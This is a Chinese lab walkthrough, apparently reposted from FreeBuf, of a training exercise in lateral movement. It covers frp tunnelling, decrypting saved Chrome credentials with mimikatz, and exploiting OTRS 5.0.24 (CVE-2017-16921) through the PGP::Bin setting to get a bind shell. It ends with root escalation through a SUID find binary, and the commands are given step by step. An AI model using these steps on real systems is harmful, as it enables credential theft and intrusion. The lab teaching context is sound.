横向渗透内网工单系统
通过使用mimikatz工具破解浏览器保存的凭据并登录OA工单系统,利用系统漏洞返回shell命令并成功提权。 2026-1-9 03:59:52 Author: www.freebuf.com(查看原文) 阅读量:9 收藏

【实验目的】

通过使用mimikatz工具破解用户浏览器保存的凭据,并同时将破解后的凭据登录OA工单系统,成功利用该工单系统的漏洞,返回shell命令,最后进行提权操作,了解并掌握如何进行信息搜集用户的可利用的信息。

【知识点】

横向渗透

【实验原理】

Mimikatz是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从Isass.exe进程中获取当前登录系统用户名的密码。

【软件工具】

  • 服务器:Windows Server 2008 1台;防火墙 1台;Centos 7 1台;Windows 10 2台;Windows 2016 2台;

  • 交换机/路由:交换机 4台;路由器 1台;

  • 软件:frp;SocksCap64;谷歌浏览器;mimikatz;netcat;

【实验拓扑】

【实验预期】

1.收集xiaowang浏览器凭据
2.收集工单系统CMS版本信息
3.利用CMS漏洞进行远程命令执行

【实验步骤】

1.利用frp代理建立二级隧道

单击上方菜单栏中的【环境申请】按钮启动实验拓扑,选择拓扑图中左下方的【攻击机2-Windows】,按右键,在弹出的菜单中选择【控制台】,登录【攻击机2-Windows】界面。

双击打开攻击机2-windows桌面【工具】的【frp】文件夹,在该文件夹空白处,右键弹出菜单,选择【在此处打开命令提示符】。

在命令提示符窗口中,输入以下命令,开启本地服务端代理监听7000端口。

frps -c frps.ini

输入以下命令并按下回车,远程连接目标服务器的SSH202.1.10.57服务器,ssh用户名为【test】,密码为【Com.1234】。如下图所示。

ssh [email protected]

输入以下命令并按多次回车,执行frpc客户端与服务端连接。

frpc -c /tmp/frpc.ini &

输入以下命令并按多次回车,在网站门户2中开启frp服务端程序。

frps -c /tmp/frps.ini &

双击打开桌面上的远程桌面,下拉【计算机】,选择【202.1.10.34】,单击【连接】按钮,连接目标202.1.10.34服务器。

进入远程桌面窗口,关闭服务器管理器窗口,在桌面shift+右键弹出菜单,选择【在此处打开命令提示符】。

输入命令并按回车,在网站门户1中开启frp客户端程序。

frpc -c frpc.ini

依次双击打开桌面上的【工具】→【SocksCap64-4.7】文件夹,并双击打开【SocksCap64.exe】socks代理客户端软件。

注:打开SocksCap64.exe会有些慢。

在socks代理客户端软件窗口中,双击【远程桌面连接*32】图标。

弹出远程桌面连接窗口,在计算机下拉框选择【10.0.18.22:1111】,完成后按回车。

注:在第八单元的8.2子任务中将LCX添加注册表启动项,由本地3389端口转发本地1111端口,绕过防火墙限制。

等待目标远程连接。

等待目标远程连接后,弹出内网10.0.18.22窗口界面,。

2.收集xiaowang浏览器凭据

在远程窗口【10.0.18.22:1111】,右键弹出菜单,选择【在此处打开命令提示符】。

输入以下命令并按回车,进入xiaowang用户下的【Appdata】目录。

cd C:\Users\xiaowang.ZHIDA\AppData

输入以下命令并按回车,使用wmic命令获取当前所有的快捷方式,可查看当前用户安装程序为谷歌浏览器。

wmic PATH Win32_ShortcutFile get name /FORMAT:table

输入以下命令并按回车,使用mimikatz的dpapi::chrome模块破解谷歌保存的凭据,保存凭据URL【http://10.0.20.12/otrs/index.pl】,用户名为【root@localhost】,密码为【admin】,猜测此账号为系统管理员。

mimikatz "dpapi::chrome /in:"""C:\Users\xiaowang.ZHIDA\AppData\Local\Google\Chrome\User Data\Default\Login Data""" /unprotect" exit

回到攻击机2-windows界面,打开socks代理客户端,双击【Google Chrome* 64】图标。

在地址栏中输入URL【http://10.0.20.12/otrs/index.pl】,进入内网OA工单系统登录页面。

在登录页面中,输入用户名为【root@localhost】,密码为【admin】,最后单击【登录】按钮,进入管理员OA工单系统管理页面。

3.寻找该工单系统CMS版本信息

按F12进入开发者工具,单击【Network】选项卡,并重新刷新浏览器页面。

单击下方【Name】的【index.pl】,并单击【Headers】选项卡,进入该页面的HTTP响应头。

在HTTP响应头的【x-powered-By】发现该OTRS工单系统的版本为【5.0.24】。

注:收集OTRS的5.0.24CMS漏洞信息,CVE-2017-16921可进行远程命令执行,并影响OTRS的版本有4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1。

4.利用CMS漏洞远程命令执行

在地址栏输入【http://10.0.20.12/otrs/index.pl?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt%3A%3APGP;SysConfigGroup=Framework】并按回车,进入PGP配置模块。

在【PGP】选项处,下拉菜单,选择【是】,启用PGP模块插件,PGP模块插件,执行命令。

在【PGP::Bin】选项处,修改为【/usr/bin/python3】,此处使用python3命令,进行正向TCP连接。

注:当修改为【/usr/bin/python】,并单击最下方的【更新】按钮,则提示为【错误:文件不存在】,因此此处尝试填写【/usr/bin/python3】。

打开桌面【工具】的python_bind_tcp.txt文件,全选复制payload代码。

替换粘贴至【PGP::Options】的参数,填写为python3的参数值,目的为开启目标服务器的本地端口9999。

单击下方【更新】按钮。

注:若网页刷新慢再次单击【更新】按钮。

在地址栏输入【http://10.0.20.12/otrs/index.pl?Action=AdminPGP】并按回车,打开PGP密钥管理页面,执行保存的命令。

注:若网页刷新慢再次执行URL。

回到socks代理客户端界面,双击打开命令提示符图标。

弹出命令提示符窗口,输入以下命令按回车,使用cd命令进入桌面【工具】文件夹目录下。

cd C:\Users\Administrator\Desktop\工具

输入以下命令并按回车,使用netcat工具监听目标IP【10.0.20.12】的【9999】本地端口,结果返回显示【10.0.20.12 9999 (?) open】,证明目标端口9999已开启,正向TCP连接成功。

nc -nv 10.0.20.12 9999

输入以下命令并按回车,使用python命令返回TTY shell。

python3 -c 'import pty;pty.spawn("/bin/bash")';

输入以下命令并按回车,查找可利用具有SUID权限的程序,可看到目标主机的find程序具有SUID权限。

find / -xdev -type f -perm /4000 -exec ls -al {} \; 2> /dev/null

输入以下命令并按回车,利用find命令提权并返回shell会话。

find . -exec /bin/bash -p \;

输入whoami并按回车,显示当前用户为root用户,提权成功。

【实验结论】

通过上述操作,使用mimikatz工具破解用户浏览器保存的凭据,并同时将破解后的凭据登录OA工单系统,成功利用该工单系统的漏洞,返回shell命令,最后进行提权操作,了解并掌握如何进行信息搜集用户的可利用的信息,符合实验预期。


文章来源: https://www.freebuf.com/articles/endpoint/465666.html
如有侵权请联系:admin#unsafe.sh